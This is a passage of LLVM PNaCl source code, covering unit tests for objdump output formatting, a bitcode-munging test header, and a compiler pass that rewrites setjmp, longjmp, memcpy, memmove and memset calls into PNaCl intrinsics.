RunIndentedAssemblyTest(true, true, 0, 1017, &Record, true));
EXPECT_EQ(
"Error(11:3): This is an error\n"
"One line assembly.\n"
"Error(14:0): Oops, an error!\n"
"Two Line\n"
"example assembly.\n"
"Error(16:1): The record looks bad\n"
"Error(16:1): Actually, it looks really bad\n",
RunIndentedAssemblyTest(false, true, 0, 91, &Record, true));
EXPECT_EQ(
" 47073:6|<5, 18446744073709551615, 100, 15, 107056, 18446744073709546551, \n"
" | 101958788>\n"
"Error(47073:6): This is an error\n"
" 47076:3|<5, 18446744073709551615, 100, 15, 107056, 18446744073709546551, \n"
" | 101958788>\n"
"Error(47076:3): Oops, an error!\n"
" 47078:4|<5, 18446744073709551615, 100, 15, 107056, 18446744073709546551, \n"
" | 101958788>\n"
"Error(47078:4): The record looks bad\n"
"Error(47078:4): Actually, it looks really bad\n",
RunIndentedAssemblyTest(true, false, 0, 376590, &Record, true));
EXPECT_EQ(
"Error(8070:4): This is an error\n"
"Error(8073:1): Oops, an error!\n"
"Error(8075:2): The record looks bad\n"
"Error(8075:2): Actually, it looks really bad\n",
RunIndentedAssemblyTest(false, false, 0, 64564, &Record, true));
}
// Tests effects of objdump when there isn't a record to write, and we indent.
TEST(NaClObjDumpTest, NoDumpIndentRecords) {
EXPECT_EQ(
" | |One line assembly.\n"
" | |Two Line\n"
" | |example assembly.\n",
RunIndentedAssemblyTest(true, true, 1, 11, 0, false));
EXPECT_EQ(
" | |One line assembly.\n"
" | |Two Line\n"
" | |example assembly.\n",
RunIndentedAssemblyTest(true, true, 2, 11, 0, false));
EXPECT_EQ(
"One line assembly.\n"
"Two Line\n"
"example assembly.\n",
RunIndentedAssemblyTest(false, true, 1, 91, 0, false));
EXPECT_EQ(
"One line assembly.\n"
"Two Line\n"
"example assembly.\n",
RunIndentedAssemblyTest(false, true, 2, 91, 0, false));
EXPECT_EQ(
"",
RunIndentedAssemblyTest(true, false, 1, 37, 0, false));
EXPECT_EQ(
"",
RunIndentedAssemblyTest(true, false, 2, 37, 0, false));
EXPECT_EQ(
"",
RunIndentedAssemblyTest(false, false, 1, 64, 0, false));
EXPECT_EQ(
"",
RunIndentedAssemblyTest(false, false, 2, 64, 0, false));
}
// Tests simple cases where there is both a record and corresponding
// assembly code, and the records are indented.
TEST(NaClObjDumpTest, SimpleIndentRecords) {
NaClBitcodeRecordData Record;
Record.Code = 5;
Record.Values.push_back(10);
Record.Values.push_back(15);
EXPECT_EQ(
" 1:3| <5, 10, 15> |\n"
" 4:0| <5, 10, 15> |One line assembly.\n"
" 6:1| <5, 10, 15> |Two Line\n"
" | |example assembly.\n",
RunIndentedAssemblyTest(true, true, 1, 11, &Record, false));
EXPECT_EQ(
" 1:3| <5, 10, 15> |\n"
" 4:0| <5, 10, 15> |One line assembly.\n"
" 6:1| <5, 10, 15> |Two Line\n"
" | |example assembly.\n",
RunIndentedAssemblyTest(true, true, 2, 11, &Record, false));
EXPECT_EQ(
"One line assembly.\n"
"Two Line\n"
"example assembly.\n",
RunIndentedAssemblyTest(false, true, 1, 91, &Record, false));
EXPECT_EQ(
"One line assembly.\n"
"Two Line\n"
"example assembly.\n",
RunIndentedAssemblyTest(false, true, 2, 91, &Record, false));
EXPECT_EQ(
" 4:5| <5, 10, 15>\n"
" 7:2| <5, 10, 15>\n"
" 9:3| <5, 10, 15>\n",
RunIndentedAssemblyTest(true, false, 1, 37, &Record, false));
EXPECT_EQ(
" 4:5| <5, 10, 15>\n"
" 7:2| <5, 10, 15>\n"
" 9:3| <5, 10, 15>\n",
RunIndentedAssemblyTest(true, false, 2, 37, &Record, false));
EXPECT_EQ(
"",
RunIndentedAssemblyTest(false, false, 1, 64, &Record, false));
EXPECT_EQ(
"",
RunIndentedAssemblyTest(false, false, 2, 64, &Record, false));
}
// Test case where record is printed using more than two lines.
TEST(NaClObjDumpText, VeryLongIndentRecords) {
NaClBitcodeRecordData Record;
Record.Code = 5;
Record.Values.push_back(static_cast<uint64_t>(-1));
Record.Values.push_back(100);
Record.Values.push_back(15);
Record.Values.push_back(107056);
Record.Values.push_back(static_cast<uint64_t>(-5065));
Record.Values.push_back(101958788);
EXPECT_EQ(
" 127:1| <5, 18446744073709551615, |\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n"
" 129:6| <5, 18446744073709551615, |One line assembly.\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n"
" 131:7| <5, 18446744073709551615, |Two Line\n"
" | 100, 15, 107056, |example assembly.\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n",
RunIndentedAssemblyTest(true, true, 1, 1017, &Record, false));
EXPECT_EQ(
" 127:1| <5, |\n"
" | 18446744073709551615, |\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n"
" 129:6| <5, |One line assembly.\n"
" | 18446744073709551615, |\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n"
" 131:7| <5, |Two Line\n"
" | 18446744073709551615, |example assembly.\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n",
RunIndentedAssemblyTest(true, true, 3, 1017, &Record, false));
EXPECT_EQ(
"One line assembly.\n"
"Two Line\n"
"example assembly.\n",
RunIndentedAssemblyTest(false, true, 1, 91, &Record, false));
EXPECT_EQ(
"One line assembly.\n"
"Two Line\n"
"example assembly.\n",
RunIndentedAssemblyTest(false, true, 2, 91, &Record, false));
EXPECT_EQ(
" 47073:6| <5, 18446744073709551615, 100, 15, 107056, 18446744073709546551, \n"
" | 101958788>\n"
" 47076:3| <5, 18446744073709551615, 100, 15, 107056, 18446744073709546551, \n"
" | 101958788>\n"
" 47078:4| <5, 18446744073709551615, 100, 15, 107056, 18446744073709546551, \n"
" | 101958788>\n",
RunIndentedAssemblyTest(true, false, 1, 376590, &Record, false));
EXPECT_EQ(
" 47073:6| <5, 18446744073709551615, 100, 15, 107056, \n"
" | 18446744073709546551, 101958788>\n"
" 47076:3| <5, 18446744073709551615, 100, 15, 107056, \n"
" | 18446744073709546551, 101958788>\n"
" 47078:4| <5, 18446744073709551615, 100, 15, 107056, \n"
" | 18446744073709546551, 101958788>\n",
RunIndentedAssemblyTest(true, false, 5, 376590, &Record, false));
EXPECT_EQ(
"",
RunIndentedAssemblyTest(false, false, 1, 64564, &Record, false));
EXPECT_EQ(
"",
RunIndentedAssemblyTest(false, false, 2, 64564, &Record, false));
}
// Tests that Clustering doesn't effect (intraline) indenting.
TEST(NaClObjDumpTest, ClusterIndentInteraction) {
std::string Buffer;
raw_string_ostream BufStream(Buffer);
ObjDumpStream Stream(BufStream, true, true);
TextFormatter Formatter(Stream.Assembly(), 40, " ");
TokenTextDirective Comma(&Formatter, ",");
SpaceTextDirective Space(&Formatter);
OpenTextDirective OpenParen(&Formatter, "(");
CloseTextDirective CloseParen(&Formatter, ")");
StartClusteringDirective StartCluster(&Formatter);
FinishClusteringDirective FinishCluster(&Formatter);
EndlineTextDirective Endline(&Formatter);
Formatter.Tokens() << "begin" << Space;
// Generates text on single line, setting indent at "(".
Formatter.Tokens()
<< StartCluster << "SomeReasonablylongText" << OpenParen << FinishCluster;
// Generates a long cluster that should move to the next line.
Formatter.Tokens()
<< StartCluster << "ThisIsBoring" << Space
<< "VeryBoring" << Space << "longggggggggggggggggg"
<< Space << "Example" << Comma << FinishCluster;
Formatter.Tokens() << CloseParen << Comma << Endline;
Stream.Flush();
EXPECT_EQ(
" | |begin SomeReasonablylongText(\n"
" | | ThisIsBoring \n"
" | | VeryBoring \n"
" | | longggggggggggggggggg\n"
" | | Example,),\n",
BufStream.str());
}
// Tests the insertion of an abbreviation index.
TEST(NaClObjDumpTest, UseOfAbbrevationIndex) {
NaClBitcodeRecordData Record;
Record.Code = 5;
Record.Values.push_back(static_cast<uint64_t>(-1));
Record.Values.push_back(100);
Record.Values.push_back(15);
Record.Values.push_back(107056);
Record.Values.push_back(static_cast<uint64_t>(-5065));
Record.Values.push_back(101958788);
EXPECT_EQ(
" 127:1|3: <5, 18446744073709551615, |\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n"
" 129:6|3: <5, 18446744073709551615, |One line assembly.\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n"
" 131:7|3: <5, 18446744073709551615, |Two Line\n"
" | 100, 15, 107056, |example assembly.\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n",
RunIndentedAssemblyWithAbbrevTest(true, true, 0, 1017, &Record,
naclbitc::UNABBREV_RECORD, false));
EXPECT_EQ(
" 127:1| 3: <5, |\n"
" | 18446744073709551615, |\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n"
" 129:6| 3: <5, |One line assembly.\n"
" | 18446744073709551615, |\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n"
" 131:7| 3: <5, |Two Line\n"
" | 18446744073709551615, |example assembly.\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551, |\n"
" | 101958788> |\n",
RunIndentedAssemblyWithAbbrevTest(true, true, 1, 1017, &Record,
naclbitc::UNABBREV_RECORD, false));
EXPECT_EQ(
" 127:1| 3: <5, |\n"
" | 18446744073709551615,|\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551,|\n"
" | 101958788> |\n"
" 129:6| 3: <5, |One line assembly.\n"
" | 18446744073709551615,|\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551,|\n"
" | 101958788> |\n"
" 131:7| 3: <5, |Two Line\n"
" | 18446744073709551615,|example assembly.\n"
" | 100, 15, 107056, |\n"
" | 18446744073709546551,|\n"
" | 101958788> |\n",
RunIndentedAssemblyWithAbbrevTest(true, true, 3, 1017, &Record,
naclbitc::UNABBREV_RECORD, false));
EXPECT_EQ(
"One line assembly.\n"
"Two Line\n"
"example assembly.\n",
RunIndentedAssemblyWithAbbrevTest(false, true, 1, 91, &Record,
naclbitc::UNABBREV_RECORD, false));
EXPECT_EQ(
"One line assembly.\n"
"Two Line\n"
"example assembly.\n",
RunIndentedAssemblyWithAbbrevTest(false, true, 2, 91, &Record,
naclbitc::UNABBREV_RECORD, false));
EXPECT_EQ(
" 47073:6| 3: <5, 18446744073709551615, 100, 15, 107056, 18446744073709546551,\n"
" | 101958788>\n"
" 47076:3| 3: <5, 18446744073709551615, 100, 15, 107056, 18446744073709546551,\n"
" | 101958788>\n"
" 47078:4| 3: <5, 18446744073709551615, 100, 15, 107056, 18446744073709546551,\n"
" | 101958788>\n",
RunIndentedAssemblyWithAbbrevTest(true, false, 1, 376590, &Record,
naclbitc::UNABBREV_RECORD, false));
EXPECT_EQ(
" 47073:6| 3: <5, 18446744073709551615, 100, 15, 107056, \n"
" | 18446744073709546551, 101958788>\n"
" 47076:3| 3: <5, 18446744073709551615, 100, 15, 107056, \n"
" | 18446744073709546551, 101958788>\n"
" 47078:4| 3: <5, 18446744073709551615, 100, 15, 107056, \n"
" | 18446744073709546551, 101958788>\n",
RunIndentedAssemblyWithAbbrevTest(true, false, 5, 376590, &Record,
naclbitc::UNABBREV_RECORD, false));
EXPECT_EQ(
"",
RunIndentedAssemblyWithAbbrevTest(false, false, 1, 64564, &Record,
naclbitc::UNABBREV_RECORD, false));
EXPECT_EQ(
"",
RunIndentedAssemblyWithAbbrevTest(false, false, 2, 64564, &Record,
naclbitc::UNABBREV_RECORD, false));
}
}
<file_sep>/unittests/Bitcode/NaClMungeTest.h
//===- llvm/unittest/Bitcode/NaClMungeTest.h - Test munging utils ---------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// Contains common utilities used in bitcode munge tests.
#ifndef LLVM_UNITTEST_BITCODE_NACLMUNGETEST_H
#define LLVM_UNITTEST_BITCODE_NACLMUNGETEST_H
#include "llvm/ADT/STLExtras.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeMunge.h"
#include "gtest/gtest.h"
namespace naclmungetest {
const uint64_t Terminator = 0x5768798008978675LL;
#define ARRAY(name) name, array_lengthof(name)
#define ARRAY_TERM(name) ARRAY(name), Terminator
// Removes error severity prefices, if present, for each line in the message.
// Returns the stripped result.
std::string stripErrorPrefix(const std::string &Message);
inline std::string stringify(llvm::NaClMungedBitcode &MungedBitcode) {
std::string Buffer;
llvm::raw_string_ostream StrBuf(Buffer);
MungedBitcode.print(StrBuf);
return StrBuf.str();
}
inline std::string stringify(llvm::NaClBitcodeMunger &Munger) {
return stringify(Munger.getMungedBitcode());
}
} // end of namespace naclmungetest
#endif // end LLVM_UNITTEST_BITCODE_NACLMUNGETEST_H
<file_sep>/lib/Transforms/NaCl/RewritePNaClLibraryCalls.cpp
//===- RewritePNaClLibraryCalls.cpp - PNaCl library calls to intrinsics ---===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass replaces calls to known library functions with calls to intrinsics
// that are part of the PNaCl stable bitcode ABI.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/SmallString.h"
#include "llvm/ADT/Twine.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Intrinsics.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
#include <cstdarg>
using namespace llvm;
namespace {
class RewritePNaClLibraryCalls : public ModulePass {
public:
static char ID;
RewritePNaClLibraryCalls() :
ModulePass(ID), TheModule(NULL), Context(NULL), SetjmpIntrinsic(NULL),
LongjmpIntrinsic(NULL), MemcpyIntrinsic(NULL),
MemmoveIntrinsic(NULL), MemsetIntrinsic(NULL) {
// This is a module pass because it may have to introduce
// intrinsic declarations into the module and modify globals.
initializeRewritePNaClLibraryCallsPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
private:
typedef void (RewritePNaClLibraryCalls::*RewriteCallFunc)(CallInst *);
typedef void (RewritePNaClLibraryCalls::*PopulateWrapperFunc)(Function *);
/// Handles a certain pattern of library function -> intrinsic rewrites.
/// Currently all library functions this pass knows how to rewrite fall into
/// this pattern.
/// RewriteLibraryCall performs the rewrite for a single library function
/// and is customized by its arguments.
///
/// \p LibraryFunctionName Name of the library function to look for.
/// \p CorrectFunctionType is the correct type of this library function.
/// \p CallRewriter Method that rewrites the library function call into an
/// intrinsic call.
/// \p OnlyCallsAllowed Only calls to this library function are allowed.
/// \p WrapperPopulator called to populate the body of the library function
/// with a wrapped intrinsic call.
bool RewriteLibraryCall(
const char *LibraryFunctionName,
FunctionType *CorrectFunctionType,
RewriteCallFunc CallRewriter,
bool OnlyCallsAllowed,
PopulateWrapperFunc WrapperPopulator);
/// Two function types are compatible if they have compatible return types
/// and the same number of compatible parameters. Return types and
/// parameters are compatible if they are exactly the same type or both are
/// pointer types.
static bool compatibleFunctionTypes(FunctionType *FTy1, FunctionType *FTy2);
static bool compatibleParamOrRetTypes(Type *Ty1, Type *Ty2);
void rewriteSetjmpCall(CallInst *Call);
void rewriteLongjmpCall(CallInst *Call);
void rewriteMemcpyCall(CallInst *Call);
void rewriteMemmoveCall(CallInst *Call);
void rewriteMemsetCall(CallInst *Call);
void populateSetjmpWrapper(Function *SetjmpFunc);
void populateLongjmpWrapper(Function *LongjmpFunc);
void populateMemcpyWrapper(Function *MemcpyFunc);
void populateMemmoveWrapper(Function *MemmoveFunc);
void populateMemsetWrapper(Function *MemsetFunc);
/// Generic implementation of populating a wrapper function.
/// Initially, the function exists in the module as a declaration with
/// unnamed arguments. This method is called with a NULL-terminated list
/// of argument names that get assigned in the generated IR for
/// readability.
void populateWrapperCommon(
Function *Func,
StringRef FuncName,
RewriteCallFunc CallRewriter,
bool CallCannotReturn,
...);
/// Find and cache known intrinsics.
Function *findSetjmpIntrinsic();
Function *findLongjmpIntrinsic();
Function *findMemcpyIntrinsic();
Function *findMemmoveIntrinsic();
Function *findMemsetIntrinsic();
/// Cached data that remains the same throughout a module run.
Module *TheModule;
LLVMContext *Context;
/// These are cached but computed lazily.
Function *SetjmpIntrinsic;
Function *LongjmpIntrinsic;
Function *MemcpyIntrinsic;
Function *MemmoveIntrinsic;
Function *MemsetIntrinsic;
};
}
char RewritePNaClLibraryCalls::ID = 0;
INITIALIZE_PASS(RewritePNaClLibraryCalls, "rewrite-pnacl-library-calls",
"Rewrite PNaCl library calls to stable intrinsics",
false, false)
bool RewritePNaClLibraryCalls::RewriteLibraryCall(
const char *LibraryFunctionName,
FunctionType *CorrectFunctionType,
RewriteCallFunc CallRewriter,
bool OnlyCallsAllowed,
PopulateWrapperFunc WrapperPopulator) {
bool Changed = false;
Function *LibFunc = TheModule->getFunction(LibraryFunctionName);
// Iterate over all uses of this function, if it exists in the module with
// external linkage. If it exists but the linkage is not external, this may
// come from code that defines its own private function with the same name
// and doesn't actually include the standard libc header declaring it.
// In such a case we leave the code as it is.
//
// Another case we need to handle here is this function having the wrong
// prototype (incompatible with the C library function prototype, and hence
// incompatible with the intrinsic). In general, this is undefined behavior,
// but we can't fail compilation because some workflows rely on it
// compiling correctly (for example, autoconf). The solution is:
// When the declared type of the function in the module is not correct, we
// re-create the function with the correct prototype and replace all calls
// to this new function (casted to the old function type). Effectively this
// delays the undefined behavior until run-time.
if (LibFunc && LibFunc->hasExternalLinkage()) {
if (!compatibleFunctionTypes(LibFunc->getFunctionType(),
CorrectFunctionType)) {
// Use the RecreateFunction utility to create a new function with the
// correct prototype. RecreateFunction also RAUWs the function with
// proper bitcasts.
//
// One interesting case that may arise is when the original module had
// calls to both a correct and an incorrect version of the library
// function. Depending on the linking order, either version could be
// selected as the global declaration in the module, so even valid calls
// could end up being bitcast-ed from the incorrect to the correct
// function type. The RecreateFunction call below will eliminate such
// bitcasts (because the new type matches the call type), but dead
// constant expressions may be left behind.
// These are cleaned up with removeDeadConstantUsers.
Function *NewFunc = RecreateFunction(LibFunc, CorrectFunctionType);
LibFunc->eraseFromParent();
NewFunc->setLinkage(Function::InternalLinkage);
Changed = true;
NewFunc->removeDeadConstantUsers();
LibFunc = NewFunc;
}
// Handle all uses that are calls. These are simply replaced with
// equivalent intrinsic calls.
{
SmallVector<CallInst *, 32> Calls;
for (User *U : LibFunc->users())
// users() will also provide call instructions in which the used value
// is an argument, and not the value being called. Make sure we rewrite
// only actual calls to LibFunc here.
if (CallInst *Call = dyn_cast<CallInst>(U))
if (Call->getCalledValue() == LibFunc)
Calls.push_back(Call);
for (auto Call : Calls)
(this->*(CallRewriter))(Call);
Changed |= !Calls.empty();
}
if (LibFunc->use_empty()) {
LibFunc->eraseFromParent();
} else if (OnlyCallsAllowed) {
// If additional uses remain, these aren't calls.
report_fatal_error(Twine("Taking the address of ") +
LibraryFunctionName + " is invalid");
} else {
// If non-call uses remain and allowed for this function, populate it
// with a wrapper.
(this->*(WrapperPopulator))(LibFunc);
LibFunc->setLinkage(Function::InternalLinkage);
Changed = true;
}
}
return Changed;
}
bool RewritePNaClLibraryCalls::runOnModule(Module &M) {
TheModule = &M;
Context = &TheModule->getContext();
bool Changed = false;
Type *Int8PtrTy = Type::getInt8PtrTy(*Context);
Type *Int64PtrTy = Type::getInt64PtrTy(*Context);
Type *Int32Ty = Type::getInt32Ty(*Context);
Type *VoidTy = Type::getVoidTy(*Context);
Type *SetjmpParams[] = { Int64PtrTy };
FunctionType *SetjmpFunctionType = FunctionType::get(Int32Ty, SetjmpParams,
false);
Changed |= RewriteLibraryCall(
"setjmp",
SetjmpFunctionType,
&RewritePNaClLibraryCalls::rewriteSetjmpCall,
true,
&RewritePNaClLibraryCalls::populateSetjmpWrapper);
Type *LongjmpParams[] = { Int64PtrTy, Int32Ty };
FunctionType *LongjmpFunctionType = FunctionType::get(VoidTy, LongjmpParams,
false);
Changed |= RewriteLibraryCall(
"longjmp",
LongjmpFunctionType,
&RewritePNaClLibraryCalls::rewriteLongjmpCall,
false,
&RewritePNaClLibraryCalls::populateLongjmpWrapper);
Type *MemsetParams[] = { Int8PtrTy, Int32Ty, Int32Ty };
FunctionType *MemsetFunctionType = FunctionType::get(Int8PtrTy, MemsetParams,
false);
Changed |= RewriteLibraryCall(
"memset",
MemsetFunctionType,
&RewritePNaClLibraryCalls::rewriteMemsetCall,
false,
&RewritePNaClLibraryCalls::populateMemsetWrapper);
Type *MemcpyParams[] = { Int8PtrTy, Int8PtrTy, Int32Ty };
FunctionType *MemcpyFunctionType = FunctionType::get(Int8PtrTy, MemcpyParams,
false);
Changed |= RewriteLibraryCall(
"memcpy",
MemcpyFunctionType,
&RewritePNaClLibraryCalls::rewriteMemcpyCall,
false,
&RewritePNaClLibraryCalls::populateMemcpyWrapper);
Type *MemmoveParams[] = { Int8PtrTy, Int8PtrTy, Int32Ty };
FunctionType *MemmoveFunctionType = FunctionType::get(Int8PtrTy,
MemmoveParams,
false);
Changed |= RewriteLibraryCall(
"memmove",
MemmoveFunctionType,
&RewritePNaClLibraryCalls::rewriteMemmoveCall,
false,
&RewritePNaClLibraryCalls::populateMemmoveWrapper);
return Changed;
}
bool RewritePNaClLibraryCalls::compatibleFunctionTypes(FunctionType *FTy1,
FunctionType *FTy2) {
if (FTy1->getNumParams() != FTy2->getNumParams()) {
return false;
}
if (!compatibleParamOrRetTypes(FTy1->getReturnType(),
FTy2->getReturnType())) {
return false;
}
for (unsigned I = 0, End = FTy1->getNumParams(); I != End; ++I) {
if (!compatibleParamOrRetTypes(FTy1->getParamType(I),
FTy2->getParamType(I))) {
return false;
}
}
return true;
}
bool RewritePNaClLibraryCalls::compatibleParamOrRetTypes(Type *Ty1,
Type *Ty2) {
return (Ty1 == Ty2 || (Ty1->isPointerTy() && Ty2->isPointerTy()));
}
void RewritePNaClLibraryCalls::rewriteSetjmpCall(CallInst *Call) {
// Find the intrinsic function.
Function *NaClSetjmpFunc = findSetjmpIntrinsic();
// Cast the jmp_buf argument to the type NaClSetjmpCall expects.
Type *PtrTy = NaClSetjmpFunc->getFunctionType()->getParamType(0);
BitCastInst *JmpBufCast = new BitCastInst(Call->getArgOperand(0), PtrTy,
"jmp_buf_i8", Call);
const DebugLoc &DLoc = Call->getDebugLoc();
JmpBufCast->setDebugLoc(DLoc);
// Emit the updated call.
Value *Args[] = { JmpBufCast };
CallInst *NaClSetjmpCall = CallInst::Create(NaClSetjmpFunc, Args, "", Call);
NaClSetjmpCall->setDebugLoc(DLoc);
NaClSetjmpCall->takeName(Call);
// Replace the original call.
Call->replaceAllUsesWith(NaClSetjmpCall);
Call->eraseFromParent();
}
void RewritePNaClLibraryCalls::rewriteLongjmpCall(CallInst *Call) {
// Find the intrinsic function.
Function *NaClLongjmpFunc = findLongjmpIntrinsic();
// Cast the jmp_buf argument to the type NaClLongjmpCall expects.
Type *PtrTy = NaClLongjmpFunc->getFunctionType()->getParamType(0);
BitCastInst *JmpBufCast = new BitCastInst(Call->getArgOperand(0), PtrTy,
"jmp_buf_i8", Call);
const DebugLoc &DLoc = Call->getDebugLoc();
JmpBufCast->setDebugLoc(DLoc);
// Emit the call.
Value *Args[] = { JmpBufCast, Call->getArgOperand(1) };
CallInst *NaClLongjmpCall = CallInst::Create(NaClLongjmpFunc, Args, "", Call);
NaClLongjmpCall->setDebugLoc(DLoc);
// No takeName here since longjmp is a void call that does not get assigned to
// a value.
// Remove the original call. There's no need for RAUW because longjmp
// returns void.
Call->eraseFromParent();
}
void RewritePNaClLibraryCalls::rewriteMemcpyCall(CallInst *Call) {
Function *MemcpyIntrinsic = findMemcpyIntrinsic();
// dest, src, len, align, isvolatile
Value *Args[] = { Call->getArgOperand(0),
Call->getArgOperand(1),
Call->getArgOperand(2),
ConstantInt::get(Type::getInt32Ty(*Context), 1),
ConstantInt::get(Type::getInt1Ty(*Context), 0) };
CallInst *MemcpyIntrinsicCall = CallInst::Create(MemcpyIntrinsic,
Args, "", Call);
MemcpyIntrinsicCall->setDebugLoc(Call->getDebugLoc());
// libc memcpy returns the source pointer, but the LLVM intrinsic doesn't; if
// the return value has actual uses, just replace them with the dest
// argument itself.
Call->replaceAllUsesWith(Call->getArgOperand(0));
Call->eraseFromParent();
}
void RewritePNaClLibraryCalls::rewriteMemmoveCall(CallInst *Call) {
Function *MemmoveIntrinsic = findMemmoveIntrinsic();
// dest, src, len, align, isvolatile
Value *Args[] = { Call->getArgOperand(0),
Call->getArgOperand(1),
Call->getArgOperand(2),
ConstantInt::get(Type::getInt32Ty(*Context), 1),
ConstantInt::get(Type::getInt1Ty(*Context), 0) };
CallInst *MemmoveIntrinsicCall = CallInst::Create(MemmoveIntrinsic,
Args, "", Call);
MemmoveIntrinsicCall->setDebugLoc(Call->getDebugLoc());
// libc memmove returns the source pointer, but the LLVM intrinsic doesn't; if
// the return value has actual uses, just replace them with the dest
// argument itself.
Call->replaceAllUsesWith(Call->getArgOperand(0));
Call->eraseFromParent();
}
void RewritePNaClLibraryCalls::rewriteMemsetCall(CallInst *Call) {
Function *MemsetIntrinsic = findMemsetIntrinsic();
// libc memset has 'int c' for the filler byte, but the LLVM intrinsic uses
// a i8; truncation is required.
TruncInst *ByteTrunc = new TruncInst(Call->getArgOperand(1),
Type::getInt8Ty(*Context),
"trunc_byte", Call);
const DebugLoc &DLoc = Call->getDebugLoc();
ByteTrunc->setDebugLoc(DLoc);
// dest, val, len, align, isvolatile
Value *Args[] = { Call->getArgOperand(0),
ByteTrunc,
Call->getArgOperand(2),
ConstantInt::get(Type::getInt32Ty(*Context), 1),
ConstantInt::get(Type::getInt1Ty(*Context), 0) };
CallInst *MemsetIntrinsicCall = CallInst::Create(MemsetIntrinsic,
Args, "", Call);
MemsetIntrinsicCall->setDebugLoc(DLoc);
// libc memset returns the source pointer, but the LLVM intrinsic doesn't; if
// the return value has actual uses, just replace them with the dest
// argument itself.
Call->replaceAllUsesWith(Call->getArgOperand(0));
Call->eraseFromParent();
}
void RewritePNaClLibraryCalls::populateWrapperCommon(
Function *Func,
StringRef FuncName,
RewriteCallFunc CallRewriter,
bool CallCannotReturn,
...) {
if (!Func->isDeclaration()) {
report_fatal_error(Twine("Expected ") + FuncName +
" to be declared, not defined");
}
// Populate the function body with code.
BasicBlock *BB = BasicBlock::Create(*Context, "entry", Func);
// Collect and name the function arguments.
Function::arg_iterator FuncArgs = Func->arg_begin();
SmallVector<Value *, 4> Args;
va_list ap;
va_start(ap, CallCannotReturn);
while (true) {
// Iterate over the varargs until a terminated NULL is encountered.
const char *ArgName = va_arg(ap, const char *);
if (!ArgName)
break;
Value *Arg = FuncArgs++;
Arg->setName(ArgName);
Args.push_back(Arg);
}
va_end(ap);
// Emit a call to self, and then call CallRewriter to rewrite it to the
// intrinsic. This is done in order to keep the call rewriting logic in a
// single place.
CallInst *SelfCall = CallInst::Create(Func, Args, "", BB);
if (CallCannotReturn) {
new UnreachableInst(*Context, BB);
} else if (Func->getReturnType()->isVoidTy()) {
ReturnInst::Create(*Context, BB);
} else {
ReturnInst::Create(*Context, SelfCall, BB);
}
(this->*(CallRewriter))(SelfCall);
}
void RewritePNaClLibraryCalls::populateSetjmpWrapper(Function *SetjmpFunc) {
populateWrapperCommon(
/* Func */ SetjmpFunc,
/* FuncName */ "setjmp",
/* CallRewriter */ &RewritePNaClLibraryCalls::rewriteSetjmpCall,
/* CallCannotReturn */ false,
/* ... */ "env", NULL);
}
void RewritePNaClLibraryCalls::populateLongjmpWrapper(Function *LongjmpFunc) {
populateWrapperCommon(
/* Func */ LongjmpFunc,
/* FuncName */ "longjmp",
/* CallRewriter */ &RewritePNaClLibraryCalls::rewriteLongjmpCall,
/* CallCannotReturn */ true,
/* ... */ "env", "val", NULL);
}
void RewritePNaClLibraryCalls::populateMemcpyWrapper(Function *MemcpyFunc) {
populateWrapperCommon(
/* Func */ MemcpyFunc,
/* FuncName */ "memcpy",
/* CallRewriter */ &RewritePNaClLibraryCalls::rewriteMemcpyCall,
/* CallCannotReturn */ false,
/* ... */ "dest", "src", "len", NULL);
}
void RewritePNaClLibraryCalls::populateMemmoveWrapper(Function *MemmoveFunc) {
populateWrapperCommon(
/* Func */ MemmoveFunc,
/* FuncName */ "memmove",
/* CallRewriter */ &RewritePNaClLibraryCalls::rewriteMemmoveCall,
/* CallCannotReturn */ false,
/* ... */ "dest", "src", "len", NULL);
}
void RewritePNaClLibraryCalls::populateMemsetWrapper(Function *MemsetFunc) {
populateWrapperCommon(
/* Func */ MemsetFunc,
/* FuncName */ "memset",
/* CallRewriter */ &RewritePNaClLibraryCalls::rewriteMemsetCall,
/* CallCannotReturn */ false,
/* ... */ "dest", "val", "len", NULL);
}
Function *RewritePNaClLibraryCalls::findSetjmpIntrinsic() {
if (!SetjmpIntrinsic) {
SetjmpIntrinsic = Intrinsic::getDeclaration(
TheModule, Intrinsic::nacl_setjmp);
}
return SetjmpIntrinsic;
}
Function *RewritePNaClLibraryCalls::findLongjmpIntrinsic() {
if (!LongjmpIntrinsic) {
LongjmpIntrinsic = Intrinsic::getDeclaration(
TheModule, Intrinsic::nacl_longjmp);
}
return LongjmpIntrinsic;
}
Function *RewritePNaClLibraryCalls::findMemcpyIntrinsic() {
if (!MemcpyIntrinsic) {
Type *Tys[] = { Type::getInt8PtrTy(*Context),
Type::getInt8PtrTy(*Context),
Type::getInt32Ty(*Context) };
MemcpyIntrinsic = Intrinsic::getDeclaration(
TheModule, Intrinsic::memcpy, Tys);
}
return MemcpyIntrinsic;
}
Function *RewritePNaClLibraryCalls::findMemmoveIntrinsic() {
if (!MemmoveIntrinsic) {
Type *Tys[] = { Type::getInt8PtrTy(*Context),
